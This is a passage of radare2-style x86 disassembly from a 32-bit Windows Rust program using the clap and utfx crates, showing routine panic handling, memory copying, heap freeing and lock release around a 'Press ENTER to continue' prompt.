mov dword [esp + str.Invalid_config._n], 0x61cf2c
mov dword [esp + 0x3bc], 1
mov dword [esp + 0x3c0], 0
mov dword [esp + 0x3c8], str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs
mov dword [esp + 0x3cc], 0
call fcn.005e3cc0
call fcn.00486ec0
mov ecx, 3
call fcn.005ed5b0
ud2
mov ecx, 0x608628
mov edx, 0x33
push 0x60865c
call fcn.0045d290
add esp, 4
ud2
lea eax, [esp + 0xb4]
mov ecx, str.cannot_access_a_Thread_Local_Storage_value_during_or_after_destruction_rustc_532d2b14c05f9bc20b2d27cbb5f4550d28343a36library_std_src_threadlocal.rs
mov edx, 0x46
push 0x6d8df8
push 0x60a6f8
push eax
call fcn.0045d480
add esp, 0xc
ud2
mov ecx, 0x78
mov edx, 8
call fcn.0040a640
ud2
movups xmm0, xmmword [esp + 0x7c8]
lea eax, [esp + 0x7d8]
movaps xmmword [esp + 0x110], xmm0
push 0x148
push eax
lea eax, [esp + 0x530]
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
mov eax, dword [esp + 0x50]
mov ecx, dword [esp + 0x20]
mov edx, dword [esp + 0x28]
mov dword [esp + 0xe8], eax
mov dword [esp + 0xec], ecx
mov ecx, dword [esp + 4]
mov dword [esp + 0xf0], ebx
mov dword [esp + 0xf4], edx
mov edx, dword [esp + 0x1c]
mov dword [esp + 0xf8], ecx
mov ecx, dword [esp + 0x24]
mov dword [esp + 0xfc], edx
mov edx, dword [esp + 0x70]
mov dword [esp + 0x100], ecx
mov ecx, dword [esp + 0x18]
mov dword [esp + 0x104], esi
mov dword [esp + 0x108], edx
mov dword [esp + 0x10c], ecx
and ecx, 0xfd
cmp ecx, 0x10
jne 0x482fd0
push 0x158
lea eax, [esp + 0x7cc]
push eax
lea esi, [esp + 0x178]
push esi
call sub.msvcrt.dll_memcpy
add esp, 0xc
mov ecx, esi
call fcn.0047a4f0
lea ecx, [esp + 0xe8]
call fcn.00447e10
ud2
mov ecx, esi
jmp 0x48314a
lea ecx, [esp + 0xe8]
call fcn.0044f300
cmp al, 4
jne 0x483156
pshufd xmm0, xmmword [esp + 0x110], 0xee
movd eax, xmm0
test al, 0x40
je 0x4831e8
call fcn.005e3650
lea ecx, [0x6f10ec]
lea edx, [esp + 0x170]
mov dword [esp + str._nPress__ENTER_____RETURN__to_continue..._n], 0x61ccd4
mov dword [esp + 0x174], 1
mov dword [esp + 0x178], 0
mov dword [esp + 0x180], str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs
mov dword [esp + 0x184], 0
call fcn.005e3810
cmp al, 3
jne 0x483088
mov eax, dword [edx + 4]
mov edi, edx
push dword [edx]
call dword [eax]
add esp, 4
mov ecx, dword [edi + 4]
cmp dword [ecx + 4], 0
je 0x48307a
mov eax, dword [edi]
cmp dword [ecx + 8], 9
jb 0x48306c
mov eax, dword [eax - 4]
push eax
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
push edi
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
mov eax, dword [0x6dd4e0]
mov dword [esp + 0x8c], eax
mov dword [esp + 0x90], 0
mov dword [esp + 0x94], 0
mov eax, dword [0x6f1094]
cmp eax, 3
je 0x4830b9
call fcn.005e1e60
lea eax, [0x6f1098]
lea ecx, [esp + 0x2dc]
mov dword [esp + 0x2dc], eax
call fcn.005e1ff0
mov dword [esp + 0x520], eax
mov edi, eax
mov ebx, edx
lea eax, [esp + 0x8c]
mov byte [esp + 0x524], dl
lea ecx, [esp + 0x170]
lea edx, [esp + 0x520]
push eax
call fcn.005e2020
add esp, 4
cmp dword [esp + 0x170], 1
jne 0x4831a7
movsd xmm0, qword [esp + 0x174]
lea eax, [esp + 0xb4]
mov ecx, str.called__Result::unwrap____on_an__Err__value
mov edx, 0x2b
movsd qword [esp + 0xb4], xmm0
push 0x61ccdc
push 0x61cdf4
push eax
call fcn.0045d480
add esp, 0xc
ud2
mov ecx, edi
mov edx, 4
call fcn.0040a640
ud2
mov ecx, eax
mov esi, edx
mov byte [esp + 0x170], al
shrd ecx, edx, 8
shr edx, 0x18
shr esi, 8
mov dword [esp + 0x171], ecx
mov byte [esp + 0x177], dl
mov ecx, str.Error_writing_Error_to_stderr_cargo_registry_src_github.com_1ecc6299db9ec823_clap_3.0.0_beta.5_src_build_app_mod.rs
mov edx, 0x1d
mov word [esp + 0x175], si
push 0x61cc98
push 0x61cdf4
lea eax, [esp + 0x178]
push eax
call fcn.0045d480
add esp, 0xc
ud2
test bl, bl
jne 0x4831c4
mov eax, dword [0x6f11c4]
test eax, 0x7fffffff
je 0x4831c4
call fcn.005c0960
test al, al
jne 0x4831c4
mov byte [edi + 4], 1
push edi
call sub.KERNEL32.dll_ReleaseSRWLockExclusive
cmp dword [esp + 0x90], 0
je 0x4831e8
push dword [esp + 0x8c]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
movaps xmm0, xmmword [esp + 0x110]
lea eax, [esp + 0x180]
movups xmmword [esp + 0x170], xmm0
push 0x148
lea ecx, [esp + 0x52c]
push ecx
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
lea ecx, [esp + 0x170]
call fcn.0047a4f0
movsd xmm2, qword [esp + 0x100]
movsd xmm1, qword [esp + 0xf8]
movsd xmm0, qword [esp + 0x108]
lea ecx, [esp + 0x170]
movsd qword [esp + 0x188], xmm2
movsd qword [esp + 0x180], xmm1
movsd xmm2, qword [esp + 0xe8]
movsd xmm1, qword [esp + 0xf0]
movsd qword [esp + 0x190], xmm0
movsd qword [esp + 0x178], xmm1
movsd qword [esp + 0x170], xmm2
call fcn.0047a500
mov ecx, 2
call fcn.00425220
ud2
mov ecx, 0x15
mov edx, 0x61c96c
push 0x61c89c
call fcn.00475e10
add esp, 4
cmp dword [esp + 0x124], 0
mov dword [esp + 4], eax
jne 0x47f445
cmp dword [esp + 0x128], 0
je 0x47f563
mov eax, dword [esp + 0x128]
shl eax, 2
lea eax, [eax + eax*2]
test eax, eax
je 0x47f563
push dword [esp + 0x120]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
jmp 0x47f563